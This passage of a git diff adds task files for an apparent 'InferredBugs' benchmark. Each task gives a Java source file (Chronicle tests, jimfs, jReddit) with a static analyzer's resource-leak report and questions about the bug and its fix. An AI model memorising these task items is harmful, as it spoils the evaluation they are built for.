+        pw.onPrice(1, "symbol", 99.9, 1, 100.1, 2);
+        assertEquals(-1, reader.excerpt.index());
+        reader.read();
+        assertEquals(0, reader.excerpt.index());
+
+        long start = System.nanoTime();
+        int prices = 2 * 1000 * 1000;
+        for (int i = 1; i <= prices; i++) {
+            pw.onPrice(i, "symbol", 99.9, i, 100.1, i + 1);
+        }
+
+        long mid = System.nanoTime();
+        while (count.get() < prices)
+            reader.read();
+
+        long end = System.nanoTime();
+        System.out.printf("Took an average of %.2f us to write and %.2f us to read using Tailer%n",
+                (mid - start) / prices / 1e3, (end - mid) / prices / 1e3);
+
+        source.close();
+        sink.close();
+
+        assertIndexedClean(basePathSource);
+        assertIndexedClean(basePathSink);
+    }
+
+    // Took an average of 2.8 us to write and 7.6 us to read (Java 7)
+    @Test
+    public void testSerializationPerformance() throws IOException, ClassNotFoundException {
+        List<byte[]> bytes = new ArrayList<byte[]>();
+        long start = System.nanoTime();
+        int prices = 200 * 1000;
+        for (int i = 0; i < prices; i++) {
+            ByteArrayOutputStream baos = new ByteArrayOutputStream();
+            ObjectOutputStream oos = new ObjectOutputStream(baos);
+            PriceUpdate pu = new PriceUpdate(1 + i, "symbol", 99.9, i + 1, 100.1, i + 2);
+            oos.writeObject(pu);
+            oos.close();
+            bytes.add(baos.toByteArray());
+        }
+
+        long mid = System.nanoTime();
+        for (byte[] bs : bytes) {
+            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bs));
+            PriceUpdate pu = (PriceUpdate) ois.readObject();
+        }
+
+        long end = System.nanoTime();
+        System.out.printf("Took an average of %.1f us to write and %.1f us to read%n",
+                (mid - start) / prices / 1e3, (end - mid) / prices / 1e3);
+    }
+
+    // Took an average of 0.42 us to write and 0.61 us to read (Java 6)
+    // Took an average of 0.35 us to write and 0.59 us to read (Java 7)
+
+    // *************************************************************************
+    //
+    // *************************************************************************
+
+    interface PriceListener {
+        void onPrice(long timeInMicros, String symbol, double bp, int bq, double ap, int aq);
+    }
+
+    static class PriceWriter implements PriceListener {
+        private final ExcerptAppender excerpt;
+
+        PriceWriter(ExcerptAppender excerpt) {
+            this.excerpt = excerpt;
+        }
+
+        @Override
+        public void onPrice(long timeInMicros, @NotNull String symbol, double bp, int bq, double ap, int aq) {
+            excerpt.startExcerpt();
+            excerpt.writeByte('P'); // code for a price
+            excerpt.writeLong(timeInMicros);
+            excerpt.writeEnum(symbol);
+            excerpt.writeDouble(bp);
+            excerpt.writeInt(bq);
+            excerpt.writeDouble(ap);
+            excerpt.writeInt(aq);
+            excerpt.finish();
+        }
+    }
+
+    static class PriceReader {
+        private final ExcerptTailer excerpt;
+        private final PriceListener listener;
+
+        PriceReader(ExcerptTailer excerpt, PriceListener listener) {
+            this.excerpt = excerpt;
+            this.listener = listener;
+        }
+
+        public boolean read() {
+            if (!excerpt.nextIndex()) {
+                return false;
+            }
+
+            char ch = (char) excerpt.readByte();
+            switch (ch) {
+                case 'P': {
+                    long timeInMicros = excerpt.readLong();
+                    String symbol = excerpt.readEnum(String.class);
+                    double bp = excerpt.readDouble();
+                    int bq = excerpt.readInt();
+                    double ap = excerpt.readDouble();
+                    int aq = excerpt.readInt();
+                    listener.onPrice(timeInMicros, symbol, bp, bq, ap, aq);
+                    break;
+                }
+                default:
+                    throw new AssertionError("Unexpected code " + ch);
+            }
+            return true;
+        }
+    }
+/*
+
+    @Test
+    @Ignore
+    public void testOverTCPRolling() throws IOException, InterruptedException {
+        String baseDir = System.getProperty("java.io.tmpdir");
+        String srcBasePath = baseDir + "/IPCTR.testOverTCP.source";
+        ChronicleTools.deleteDirOnExit(srcBasePath);
+        // NOTE: the sink and source must have different chronicle files.
+        // TODO, make more robust.
+        final int messages = 2 * 1000 * 1000;
+        ChronicleConfig config = ChronicleConfig.TEST.clone();
+        config.indexFileExcerpts(512);
+//        config.dataBlockSize(4096);
+//        config.indexBlockSize(4096);
+        final Chronicle source = new ChronicleSource(new RollingChronicle(srcBasePath, config), PORT + 1);
+        Thread t = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                try {
+//                    PosixJNAAffinity.INSTANCE.setAffinity(1 << 1);
+                    ExcerptAppender excerpt = source.createAppender();
+                    for (int i = 1; i <= messages; i++) {
+                        // use a size which will cause mis-alignment.
+                        excerpt.startExcerpt();
+                        excerpt.writeLong(i);
+                        excerpt.append(' ');
+                        excerpt.append(i);
+                        excerpt.append('\n');
+                        excerpt.finish();
+                    }
+                    System.out.println(System.currentTimeMillis() + ": Finished writing messages");
+                } catch (Exception e) {
+                    throw new AssertionError(e);
+                }
+            }
+        });
+
+//        PosixJNAAffinity.INSTANCE.setAffinity(1 << 2);
+        String snkBasePath = baseDir + "/IPCTR.testOverTCP.sink";
+        ChronicleTools.deleteDirOnExit(snkBasePath);
+        Chronicle sink = new InProcessChronicleSink(new RollingChronicle(snkBasePath, config), "localhost", PORT + 1);
+
+        long start = System.nanoTime();
+        t.start();
+        ExcerptTailer excerpt = sink.createTailer();
+        int count = 0;
+        for (int i = 1; i <= messages; i++) {
+            while (!excerpt.nextIndex())
+                count++;
+            long n = excerpt.readLong();
+            String text = excerpt.parseUTF(StopCharTesters.CONTROL_STOP);
+            if (i != n)
+                assertEquals('\'' + text + '\'', i, n);
+            excerpt.finish();
+            System.out.println(i);
+        }
+        sink.close();
+        System.out.println("There were " + count + " isSync messages");
+        t.join();
+        source.close();
+        long time = System.nanoTime() - start;
+        System.out.printf("Messages per second %,d%n", (int) (messages * 1e9 / time));
+    }
+*/
+
+
+    static class PriceUpdate implements Externalizable, Serializable {
+        private long timeInMicros;
+        private String symbol;
+        private double bp;
+        private int bq;
+        private double ap;
+        private int aq;
+
+        public PriceUpdate() {
+        }
+
+        PriceUpdate(long timeInMicros, String symbol, double bp, int bq, double ap, int aq) {
+            this.timeInMicros = timeInMicros;
+            this.symbol = symbol;
+            this.bp = bp;
+            this.bq = bq;
+            this.ap = ap;
+            this.aq = aq;
+        }
+
+        //        @Override
+        public void writeExternal(@NotNull ObjectOutput out) throws IOException {
+            out.writeLong(timeInMicros);
+            out.writeUTF(symbol);
+            out.writeDouble(bp);
+            out.writeInt(bq);
+            out.writeDouble(ap);
+            out.writeInt(aq);
+        }
+
+        //        @Override
+        public void readExternal(@NotNull ObjectInput in) throws IOException, ClassNotFoundException {
+            timeInMicros = in.readLong();
+            symbol = in.readUTF();
+            bp = in.readDouble();
+            bq = in.readInt();
+            ap = in.readDouble();
+            aq = in.readInt();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `net.openhft.chronicle.tcp.ChronicleSink` acquired by call to `ChronicleSink(...)` at line 117 is not released after line 151.
+**Note**: potential exception at line 121
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StatefulIndexedChronicleTest.testPricePublishing1()
+
+### Procedure Id:
+net.openhft.chronicle.tcp.StatefulIndexedChronicleTest.testPricePublishing1():void.4292337631348536475fdd78e12b13cf
+
+### File:
+chronicle/src/test/java/net/openhft/chronicle/tcp/StatefulIndexedChronicleTest.java
+
+### Key:
+StatefulIndexedChronicleTest.java|testPricePublishing1|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+fa910118fbbcbdbc5ce72e74f6cca30a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8300/instruction.md b/inferredbugs-8300/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b906a5d9c94c2752afe0c2334df56e5892b73fb3
--- /dev/null
+++ b/inferredbugs-8300/instruction.md
@@ -0,0 +1,434 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jimfs
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2013 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.jimfs.internal;
+
+import static com.google.common.base.Preconditions.checkArgument;
+import static com.google.common.base.Preconditions.checkNotNull;
+import static com.google.jimfs.internal.LinkHandling.FOLLOW_LINKS;
+import static com.google.jimfs.internal.LinkHandling.NOFOLLOW_LINKS;
+import static java.nio.file.StandardOpenOption.APPEND;
+import static java.nio.file.StandardOpenOption.CREATE;
+import static java.nio.file.StandardOpenOption.READ;
+import static java.nio.file.StandardOpenOption.TRUNCATE_EXISTING;
+import static java.nio.file.StandardOpenOption.WRITE;
+
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Sets;
+import com.google.jimfs.JimfsConfiguration;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.channels.AsynchronousFileChannel;
+import java.nio.channels.SeekableByteChannel;
+import java.nio.file.AccessMode;
+import java.nio.file.CopyOption;
+import java.nio.file.DirectoryStream;
+import java.nio.file.FileStore;
+import java.nio.file.FileSystem;
+import java.nio.file.FileSystemAlreadyExistsException;
+import java.nio.file.FileSystemNotFoundException;
+import java.nio.file.FileSystems;
+import java.nio.file.LinkOption;
+import java.nio.file.OpenOption;
+import java.nio.file.Path;
+import java.nio.file.ProviderMismatchException;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.nio.file.attribute.FileAttribute;
+import java.nio.file.attribute.FileAttributeView;
+import java.nio.file.spi.FileSystemProvider;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutorService;
+
+/**
+ * @author Colin Decker
+ */
+public final class JimfsFileSystemProvider extends FileSystemProvider {
+
+  public static final String SCHEME = "jimfs";
+
+  public static final String CONFIG_KEY = "config";
+
+  @Override
+  public String getScheme() {
+    return SCHEME;
+  }
+
+  private final ConcurrentMap<URI, JimfsFileSystem> fileSystems = new ConcurrentHashMap<>();
+
+  @Override
+  public JimfsFileSystem newFileSystem(URI uri, Map<String, ?> env) {
+    checkArgument(uri.getScheme().equalsIgnoreCase(SCHEME),
+        "uri (%s) scheme must be '%s'", uri, SCHEME);
+    checkArgument(env.get(CONFIG_KEY) instanceof JimfsConfiguration,
+        "env map (%s) must contain key '%s' mapped to an instance of JimfsConfiguration",
+        env, CONFIG_KEY);
+    JimfsConfiguration config = (JimfsConfiguration) env.get(CONFIG_KEY);
+    JimfsFileSystem fileSystem = new JimfsFileSystem(this, uri, config);
+    if (fileSystems.putIfAbsent(uri, fileSystem) != null) {
+      throw new FileSystemAlreadyExistsException(uri.toString());
+    }
+    return fileSystem;
+  }
+
+  @Override
+  public JimfsFileSystem getFileSystem(URI uri) {
+    JimfsFileSystem fileSystem = fileSystems.get(uri);
+    if (fileSystem == null) {
+      throw new FileSystemNotFoundException(uri.toString());
+    }
+    return fileSystem;
+  }
+
+  @Override
+  public FileSystem newFileSystem(Path path, Map<String, ?> env) throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    checkNotNull(env);
+
+    URI pathUri = checkedPath.toUri();
+    URI jarUri = URI.create("jar:" + pathUri);
+
+    try {
+      // pass the new jar:jimfs://... URI to be handled by ZipFileSystemProvider
+      return FileSystems.newFileSystem(jarUri, env);
+    } catch (Exception e) {
+      // if any exception occurred, assume the file wasn't a zip file and that we don't support
+      // viewing it as a file system
+      throw new UnsupportedOperationException(e);
+    }
+  }
+
+  @Override
+  public Path getPath(URI uri) {
+    try {
+      URI withoutPath = new URI(uri.getScheme(), uri.getHost(), null, null);
+      return getFileSystem(withoutPath).getPath(uri.getPath());
+    } catch (URISyntaxException e) {
+      throw new AssertionError();
+    }
+  }
+
+  private static JimfsPath checkPath(Path path) {
+    if (path instanceof JimfsPath) {
+      return (JimfsPath) path;
+    }
+    throw new ProviderMismatchException(
+        "path " + path + " is not associated with a JIMFS file system");
+  }
+
+  /**
+   * Returns the file tree to use for the given path.
+   */
+  private static FileTree getFileTree(JimfsPath path) {
+    return ((JimfsFileSystem) path.getFileSystem()).getFileTree(path);
+  }
+
+  private static LookupResult lookup(Path path, LinkHandling linkHandling) throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    FileTree tree = getFileTree(checkedPath);
+    return tree.lookup(checkedPath, linkHandling);
+  }
+
+  @Override
+  public JimfsFileChannel newFileChannel(Path path, Set<? extends OpenOption> options,
+      FileAttribute<?>... attrs) throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    options = getOptionsForChannel(options);
+    File file = getFileTree(checkedPath).getRegularFile(checkedPath, options, attrs);
+    return new JimfsFileChannel(file, options);
+  }
+
+  @Override
+  public SeekableByteChannel newByteChannel(Path path, Set<? extends OpenOption> options,
+      FileAttribute<?>... attrs) throws IOException {
+    return newFileChannel(path, options, attrs);
+  }
+
+  @Override
+  public AsynchronousFileChannel newAsynchronousFileChannel(Path path,
+      Set<? extends OpenOption> options, ExecutorService executor, FileAttribute<?>... attrs)
+      throws IOException {
+    return newFileChannel(path, options, attrs).asAsynchronousFileChannel(executor);
+  }
+
+  @Override
+  public InputStream newInputStream(Path path, OpenOption... options) throws IOException {
+    return newFileChannel(checkPath(path), getOptionsForRead(options)).asInputStream();
+  }
+
+  @Override
+  public OutputStream newOutputStream(Path path, OpenOption... options) throws IOException {
+    return newFileChannel(checkPath(path), getOptionsForWrite(options)).asOutputStream();
+  }
+
+  public static Set<? extends OpenOption> getOptionsForChannel(Set<? extends OpenOption> options) {
+    if (!options.contains(READ) && !options.contains(WRITE)) {
+      OpenOption optionToAdd = options.contains(APPEND) ? WRITE : READ;
+      return ImmutableSet.<OpenOption>builder()
+          .addAll(options)
+          .add(optionToAdd)
+          .build();
+    }
+    return options;
+  }
+
+  static Set<OpenOption> getOptionsForRead(OpenOption... options) {
+    Set<OpenOption> optionsSet = new HashSet<>(Arrays.asList(options));
+    if (optionsSet.contains(WRITE)) {
+      throw new UnsupportedOperationException("WRITE");
+    } else {
+      optionsSet.add(READ);
+    }
+    return optionsSet;
+  }
+
+  static Set<OpenOption> getOptionsForWrite(OpenOption... options) {
+    Set<OpenOption> optionsSet = Sets.newHashSet(options);
+    if (optionsSet.contains(READ)) {
+      throw new UnsupportedOperationException("READ");
+    } else if (optionsSet.isEmpty()) {
+      optionsSet.addAll(Arrays.asList(CREATE, WRITE, TRUNCATE_EXISTING));
+    } else if (!optionsSet.contains(WRITE)) {
+      optionsSet.add(WRITE);
+    }
+    return optionsSet;
+  }
+
+  @Override
+  public DirectoryStream<Path> newDirectoryStream(Path dir,
+      DirectoryStream.Filter<? super Path> filter) throws IOException {
+    JimfsPath checkedPath = checkPath(dir);
+    return getFileTree(checkedPath)
+        .newSecureDirectoryStream(checkedPath, filter, LinkHandling.FOLLOW_LINKS, checkedPath);
+  }
+
+  @Override
+  public void createDirectory(Path dir, FileAttribute<?>... attrs) throws IOException {
+    JimfsPath checkedPath = checkPath(dir);
+    FileTree tree = getFileTree(checkedPath);
+    tree.createDirectory(checkedPath, attrs);
+  }
+
+  @Override
+  public void createLink(Path link, Path existing) throws IOException {
+    JimfsPath linkPath = checkPath(link);
+    JimfsPath existingPath = checkPath(existing);
+    checkArgument(linkPath.getFileSystem().equals(existingPath.getFileSystem()),
+        "link and existing paths must belong to the same file system instance");
+    FileTree tree = getFileTree(linkPath);
+    tree.link(linkPath, getFileTree(existingPath), existingPath);
+  }
+
+  @Override
+  public void createSymbolicLink(Path link, Path target, FileAttribute<?>... attrs)
+      throws IOException {
+    JimfsPath linkPath = checkPath(link);
+    JimfsPath targetPath = checkPath(target);
+    checkArgument(linkPath.getFileSystem().equals(targetPath.getFileSystem()),
+        "link and target paths must belong to the same file system instance");
+    FileTree tree = getFileTree(linkPath);
+    tree.createSymbolicLink(linkPath, targetPath, attrs);
+  }
+
+  @Override
+  public Path readSymbolicLink(Path link) throws IOException {
+    File file = lookup(link, NOFOLLOW_LINKS)
+        .requireSymbolicLink(link)
+        .file();
+
+    return file.<JimfsPath>content();
+  }
+
+  @Override
+  public void delete(Path path) throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    FileTree tree = getFileTree(checkedPath);
+    tree.deleteFile(checkedPath);
+  }
+
+  @Override
+  public void copy(Path source, Path target, CopyOption... options) throws IOException {
+    JimfsPath sourcePath = checkPath(source);
+    JimfsPath targetPath = checkPath(target);
+
+    FileTree sourceTree = getFileTree(sourcePath);
+    FileTree targetTree = getFileTree(targetPath);
+    sourceTree.copyFile(sourcePath, targetTree, targetPath, ImmutableSet.copyOf(options));
+  }
+
+  @Override
+  public void move(Path source, Path target, CopyOption... options) throws IOException {
+    JimfsPath sourcePath = checkPath(source);
+    JimfsPath targetPath = checkPath(target);
+
+    FileTree sourceTree = getFileTree(sourcePath);
+    FileTree targetTree = getFileTree(targetPath);
+    sourceTree.moveFile(sourcePath, targetTree, targetPath, ImmutableSet.copyOf(options));
+  }
+
+  @Override
+  public boolean isSameFile(Path path, Path path2) throws IOException {
+    if (path.equals(path2)) {
+      return true;
+    }
+
+    if (!(path instanceof JimfsPath && path2 instanceof JimfsPath)) {
+      return false;
+    }
+
+    JimfsPath checkedPath = (JimfsPath) path;
+    JimfsPath checkedPath2 = (JimfsPath) path2;
+
+    FileTree tree = getFileTree(checkedPath);
+    FileTree tree2 = getFileTree(checkedPath2);
+
+    return tree.isSameFile(checkedPath, tree2, checkedPath2);
+  }
+
+  @Override
+  public boolean isHidden(Path path) throws IOException {
+    return ((JimfsFileSystem) checkPath(path).getFileSystem()).configuration()
+        .isHidden(path);
+  }
+
+  @Override
+  public FileStore getFileStore(Path path) throws IOException {
+    // only one FileStore per file system
+    return Iterables.getOnlyElement(checkPath(path).getFileSystem().getFileStores());
+  }
+
+  @Override
+  public void checkAccess(Path path, AccessMode... modes) throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    lookup(checkedPath, FOLLOW_LINKS).requireFound(path);
+  }
+
+  @Override
+  public <V extends FileAttributeView> V getFileAttributeView(Path path, Class<V> type,
+      LinkOption... options) {
+    JimfsPath checkedPath = checkPath(path);
+    return getFileTree(checkedPath)
+        .getFileAttributeView(checkedPath, type, LinkHandling.fromOptions(options));
+  }
+
+  @Override
+  public <A extends BasicFileAttributes> A readAttributes(Path path, Class<A> type,
+      LinkOption... options) throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    return getFileTree(checkedPath)
+        .readAttributes(checkedPath, type, LinkHandling.fromOptions(options));
+  }
+
+  @Override
+  public Map<String, Object> readAttributes(Path path, String attributes, LinkOption... options)
+      throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    return getFileTree(checkedPath)
+        .readAttributes(checkedPath, attributes, LinkHandling.fromOptions(options));
+  }
+
+  @Override
+  public void setAttribute(Path path, String attribute, Object value, LinkOption... options)
+      throws IOException {
+    JimfsPath checkedPath = checkPath(path);
+    getFileTree(checkedPath)
+        .setAttribute(checkedPath, attribute, value, LinkHandling.fromOptions(options));
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.google.jimfs.internal.JimfsFileSystem` acquired by call to `JimfsFileSystem(...)` at line 89 is not released after line 89.
+**Note**: potential exception at line 89
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+JimfsFileSystem JimfsFileSystemProvider.newFileSystem(URI,Map)
+
+### Procedure Id:
+com.google.jimfs.internal.JimfsFileSystemProvider.newFileSystem(java.net.URI,java.util.Map):com.goog.e8ec2a02e83d27ef8c2253902ed4849f
+
+### File:
+src/main/java/com/google/jimfs/internal/JimfsFileSystemProvider.java
+
+### Key:
+JimfsFileSystemProvider.java|newFileSystem|RESOURCE_LEAK
+
+### Node Key:
+595a5c3828eea8b43ed0358cbea36a4d
+
+### Hash:
+b7b2c90aa76f4f09ec7e67b6ddf8f14b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8307/instruction.md b/inferredbugs-8307/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bd8ff9689b897878a399aec6bcacb619cf77dcad
--- /dev/null
+++ b/inferredbugs-8307/instruction.md
@@ -0,0 +1,656 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jReddit
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.jreddit.user;
+
+import com.github.jreddit.CommentSort;
+import com.github.jreddit.Sort;
+import com.github.jreddit.Thing;
+import com.github.jreddit.submissions.Submission;
+import com.github.jreddit.subreddit.Subreddit;
+import com.github.jreddit.utils.ApiEndpointUtils;
+import com.github.jreddit.utils.Utils;
+import org.json.simple.JSONArray;
+import org.json.simple.JSONObject;
+import org.json.simple.parser.ParseException;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * This class represents a user connected to Reddit.
+ *
+ * @author Omer Elnour
+ * @author Karan Goel
+ * @author Benjamin Jakobus
+ * @author Evin Ugur
+ * @author Andrei Sfat
+ */
+public class User extends Thing {
+
+    private String username, password;
+    private String modhash, cookie;
+
+    public User(String username, String password) {
+        this.username = username;
+        this.password = password;
+    }
+
+    /**
+     * Call this function to connect the user. <br /> By "connect" I mean
+     * effectively sending a POST request to reddit and getting the modhash and
+     * cookie, which are required for most reddit API functions.
+     *
+     * @throws Exception If connection fails.
+     */
+    public void connect() throws Exception {
+        ArrayList<String> hashCookiePair = hashCookiePair(username, password);
+        this.modhash = hashCookiePair.get(0);
+        this.cookie = hashCookiePair.get(1);
+    }
+
+    /**
+     * This function submits a link to the specified subreddit.
+     * Requires authentication.
+     *
+     * @param title     The title of the submission
+     * @param link      The link to the submission
+     * @param subreddit The subreddit to submit to
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON Parsing fails
+     */
+    public void submitLink(String title, String link, String subreddit)
+            throws IOException, ParseException {
+        JSONObject object = submit(title, link, false, subreddit);
+        if (object.toJSONString().contains(".error.USER_REQUIRED")) {
+            System.err.println("Please login first.");
+        } else if (object.toJSONString().contains(
+                ".error.RATELIMIT.field-ratelimit")) {
+            System.err.println("You are doing that too much.");
+        } else if (object.toJSONString().contains(
+                ".error.ALREADY_SUB.field-url")) {
+            System.err.println("That link has already been submitted.");
+        } else {
+            System.out.println("Link submitted to "
+                    + ((JSONArray) ((JSONArray) ((JSONArray) object.get("jquery")).get(16)).get(3)).get(0));
+        }
+    }
+
+    /**
+     * This function submits a self post to the specified subreddit.
+     * Requires authentication.
+     *
+     * @param title     The title of the submission
+     * @param text      The text of the submission
+     * @param subreddit The subreddit to submit to
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON Parsing fails
+     */
+    public void submitSelfPost(String title, String text, String subreddit)
+            throws IOException, ParseException {
+        JSONObject object = submit(title, text, true, subreddit);
+        if (object.toJSONString().contains(".error.USER_REQUIRED")) {
+            System.err.println("Please login first.");
+        } else if (object.toJSONString().contains(
+                ".error.RATELIMIT.field-ratelimit")) {
+            System.err.println("You are doing that too much.");
+        } else if (object.toJSONString().contains(
+                ".error.ALREADY_SUB.field-url")) {
+            System.err.println("That link has already been submitted.");
+        } else {
+            System.out.println("Self post submitted to "
+                    + ((JSONArray) ((JSONArray) ((JSONArray) object.get("jquery")).get(10)).get(3)).get(0));
+        }
+    }
+
+    /**
+     * This functions returns true if this user has unread mail.
+     *
+     * @return This user has mail or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean hasMail() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("has_mail").toString());
+    }
+
+    /**
+     * This function returns the Unix time that the user's account was created.
+     *
+     * @return Unix time that the user's account was created
+     * @throws NumberFormatException If the "created" property isn't a double
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public double created() throws IOException, ParseException {
+        return Double.parseDouble(info().get("created").toString());
+    }
+
+    /**
+     * This function returns the Unix time (in UTC/Coordinated Universal Time)
+     * that the user's account was created.
+     *
+     * @return Unix time that the user's account was created in UTC
+     * @throws NumberFormatException If the "created_utc" property isn't a
+     *                               double
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public double createdUTC() throws IOException, ParseException {
+        return Double.parseDouble(info().get("created_utc").toString());
+    }
+
+    /**
+     * This function returns the amount of link karma this user has. <br />
+     * Returns int because I doubt anyone has more than 2,147,483,647 link karma.
+     *
+     * @return integer representing the Link Karma
+     * @throws NumberFormatException If the "link_karma" property isn't an
+     *                               integer
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public int linkKarma() throws IOException, ParseException {
+        return Integer.parseInt(Utils.toString(info().get("link_karma")));
+    }
+
+    /**
+     * This function returns the amount of comment karma this user has. <br
+     * /> Returns int because I doubt anyone has more than 2,147,483,647 comment
+     * karma.
+     *
+     * @return integer representing the Comment Karma
+     * @throws NumberFormatException If the "comment_karma" property isn't an
+     *                               integer
+     * @throws IOException           If connection fails
+     * @throws ParseException        If JSON parsing fails
+     */
+    public int commentKarma() throws IOException, ParseException {
+        return Integer.parseInt(Utils.toString(info().get("comment_karma")));
+    }
+
+    /**
+     * This functions returns true if this user has a gold account.
+     *
+     * @return This user has a gold account or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean isGold() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("is_gold").toString());
+    }
+
+    /**
+     * This functions returns true if this user is a reddit moderator
+     * (apparently this means a moderator of any subreddit).
+     *
+     * @return This user is a moderator or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean isMod() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("is_mod").toString());
+    }
+
+    /**
+     * This function returns the user's ID. <br /> The user's ID. This is only
+     * used internally, <b>right</b>?
+     *
+     * @return This user's ID
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON parsing fails
+     */
+    public String id() throws IOException, ParseException {
+        return info().get("id").toString();
+    }
+
+    /**
+     * This functions returns true if this user has unread moderator mail.
+     *
+     * @return This user has unread moderator mail or not
+     * @throws ParseException If JSON parsing fails
+     * @throws IOException    If connection fails
+     */
+    public boolean hasModMail() throws IOException, ParseException {
+        return Boolean.parseBoolean(info().get("has_mod_mail").toString());
+    }
+
+    public String getUsername() {
+        return username;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String getModhash() {
+        return modhash;
+    }
+
+    public String getCookie() {
+        return cookie;
+    }
+
+    /**
+     * This function logs in to reddit and returns an ArrayList containing a
+     * modhash and cookie.
+     *
+     * @param username The username
+     * @param password The password
+     * @return An array containing a modhash and cookie
+     * @throws IOException    If connection fails
+     * @throws ParseException If parsing JSON fails
+     */
+    private ArrayList<String> hashCookiePair(String username, String password)
+            throws IOException, ParseException {
+        ArrayList<String> values = new ArrayList<String>();
+        JSONObject jsonObject = Utils.post("api_type=json&user=" + username
+                + "&passwd=" + password, String.format(ApiEndpointUtils.USER_LOGIN, username), getCookie());
+        JSONObject valuePair = (JSONObject) ((JSONObject) jsonObject.get("json")).get("data");
+
+        values.add(valuePair.get("modhash").toString());
+        values.add(valuePair.get("cookie").toString());
+
+        return values;
+    }
+
+    /**
+     * This function returns a "response" (me.json) JSON data containing info
+     * about the user. <br />
+     *
+     * @return JSON data containing info about the user
+     */
+    private JSONObject info() throws IOException, ParseException {
+        if (cookie == null || modhash == null) {
+            System.err.printf("Please invoke the \"connect\" function before attempting to " +
+                    "call any other API functions.");
+            Runtime.getRuntime().exit(-1);
+        }
+
+        JSONObject jsonObject = (JSONObject) Utils.get(ApiEndpointUtils.USER_INFO, getCookie());
+        return (JSONObject) jsonObject.get("data");
+    }
+
+    /**
+     * This function submits a link or self post.
+     *
+     * @param title      The title of the submission
+     * @param linkOrText The link of the submission or text
+     * @param selfPost   If this submission is a self post
+     * @param subreddit  Which subreddit to submit this to
+     * @return A JSONObject
+     * @throws IOException    If connection fails
+     * @throws ParseException If JSON parsing fails
